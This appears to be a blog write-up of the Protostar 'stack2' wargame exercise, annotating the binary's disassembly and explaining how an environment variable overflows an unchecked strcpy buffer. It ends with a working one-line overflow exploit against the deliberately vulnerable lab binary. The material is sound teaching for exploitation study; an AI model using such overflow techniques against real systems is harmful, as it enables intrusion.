Protostar - stack2
In stack0 our user input came from standard input via the gets
function.
In stack1, it came from the first program parameter. Here we'll discover how envrionnment variables
can also be a way to inject user data into a program.
Environments variables are inherited from the parent program.
Within the code, they can be fetched in many ways. Most common ways are the third main
argument (char **envp
) and the getenv
function.
In either case, we are maniulating char pointers (aka strings).
Static analysis
The vulnerability here is again lying in inexistent checks around strcpy
destination buffer leading to overflows.
Let's annotate the objdump
output:
08048494 <main>:
8048494: 55 push ebp
8048495: 89 e5 mov ebp,esp
8048497: 83 e4 f0 and esp,0xfffffff0
804849a: 83 ec 60 sub esp,0x60
804849d: c7 04 24 e0 85 04 08 mov DWORD PTR [esp],0x80485e0 ; "GREENIE"
80484a4: e8 d3 fe ff ff call 804837c <getenv@plt> ; getenv("GREENIE");
80484a9: 89 44 24 5c mov DWORD PTR [esp+0x5c],eax ; save greenie_value
80484ad: 83 7c 24 5c 00 cmp DWORD PTR [esp+0x5c],0x0 ; check getenv() value against null
80484b2: 75 14 jne 80484c8 <main+0x34> ; continue normal execution
80484b4: c7 44 24 04 e8 85 04 mov DWORD PTR [esp+0x4],0x80485e8
80484bb: 08
80484bc: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1
80484c3: e8 f4 fe ff ff call 80483bc <errx@plt> ; errx(1, "please set the GREENIE environment variable");
80484c8: c7 44 24 58 00 00 00 mov DWORD PTR [esp+0x58],0x0
80484cf: 00
80484d0: 8b 44 24 5c mov eax,DWORD PTR [esp+0x5c]
80484d4: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
80484d8: 8d 44 24 18 lea eax,[esp+0x18]
80484dc: 89 04 24 mov DWORD PTR [esp],eax
80484df: e8 b8 fe ff ff call 804839c <strcpy@plt> ; strcpy(buffer, greenie_value);
80484e4: 8b 44 24 58 mov eax,DWORD PTR [esp+0x58]
80484e8: 3d 0a 0d 0a 0d cmp eax,0xd0a0d0a ; greenie_value == 0xd0a0d0a
80484ed: 75 0e jne 80484fd <main+0x69>
80484ef: c7 04 24 18 86 04 08 mov DWORD PTR [esp],0x8048618
80484f6: e8 d1 fe ff ff call 80483cc <puts@plt> ; puts("you have correctly modified the variable");
80484fb: eb 15 jmp 8048512 <main+0x7e>
80484fd: 8b 54 24 58 mov edx,DWORD PTR [esp+0x58]
8048501: b8 41 86 04 08 mov eax,0x8048641
8048506: 89 54 24 04 mov DWORD PTR [esp+0x4],edx
804850a: 89 04 24 mov DWORD PTR [esp],eax
804850d: e8 9a fe ff ff call 80483ac <printf@plt> ; printf("Try again, you got 0x%08x", greenie_value);
8048512: c9 leave
8048513: c3 ret
Our environment variable name is GREENIE
. The local (stack) variable value must be 0xd0a0d0a
.
Let's try this using this small C program:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
puts(getenv("NAME"));
while(*envp) puts(*envp++);
}
Now I'm going to compile and test it with the NAME
environment variable:
$ gcc env.c && NAME=value ./a.out
value
[...]
NAME=value
We can see the main difference between getenv
and envp
. getenv
gives the value associated with
the variable name passed as parameter while envp
contains raw data just like if you invoked env
command.
Exploitation
Our buffer for the GREENIE
value is still 64 bytes long.
The value 0xd0a0d0a
is also in the ASCII table. Those are the non printable "new line" and "carriage return" characters.
We can represent them in the shell by the escaped sequences \n
and \r
. Thus our exploit is:
root@protostar:/opt/protostar/bin# GREENIE=$(python -c 'print "A" * 64 + "\n\r\n\r"') ./stack2
you have correctly modified the variable
Have fun!
Links
- https://exploit-exercises.lains.space/protostar/stack2/
- FORTIFY_SOURCE: https://access.redhat.com/blogs/766093/posts/1976213
- https://owasp.org/www-community/attacks/Buffer_Overflow_via_Environment_Variables
- https://www.gnu.org/software/libc/manual/html_node/Environment-Variables.html
- https://linuxize.com/post/how-to-set-and-list-environment-variables-in-linux/
Top comments (0)